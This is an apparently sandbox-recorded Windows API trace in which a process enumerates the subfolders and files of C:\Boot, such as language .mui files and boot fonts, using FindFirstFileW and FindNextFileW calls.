	[0205.516] FindNextFileW (in: hFindFile=0x6523d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.516] FindNextFileW (in: hFindFile=0x6523d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.516] FindClose (in: hFindFile=0x6523d8 | out: hFindFile=0x6523d8) returned 1
	[0205.516] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.516] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0205.516] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.516] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652958
	[0205.519] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.519] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.519] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.519] FindClose (in: hFindFile=0x652958 | out: hFindFile=0x652958) returned 1
	[0205.519] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.519] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0205.520] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.520] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x6528d8
	[0205.520] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.520] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.520] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.520] FindClose (in: hFindFile=0x6528d8 | out: hFindFile=0x6528d8) returned 1
	[0205.520] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.520] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0205.520] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.521] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x6526d8
	[0205.521] FindNextFileW (in: hFindFile=0x6526d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.521] FindNextFileW (in: hFindFile=0x6526d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.521] FindNextFileW (in: hFindFile=0x6526d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.521] FindNextFileW (in: hFindFile=0x6526d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.521] FindClose (in: hFindFile=0x6526d8 | out: hFindFile=0x6526d8) returned 1
	[0205.521] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.521] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0205.522] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.522] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652218
	[0205.523] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.523] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0205.523] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0205.523] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0205.523] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0205.523] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1
	[0205.523] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1
	[0205.524] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1
	[0205.524] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1
	[0205.524] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1
	[0205.524] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1
	[0205.524] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1
	[0205.524] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1
	[0205.525] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1
	[0205.525] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1
	[0205.525] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1
	[0205.525] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0205.525] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
	[0205.525] FindClose (in: hFindFile=0x652218 | out: hFindFile=0x652218) returned 1
	[0205.526] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.526] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0205.526] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.526] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652518
	[0205.526] FindNextFileW (in: hFindFile=0x652518, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.527] FindNextFileW (in: hFindFile=0x652518, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.527] FindNextFileW (in: hFindFile=0x652518, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
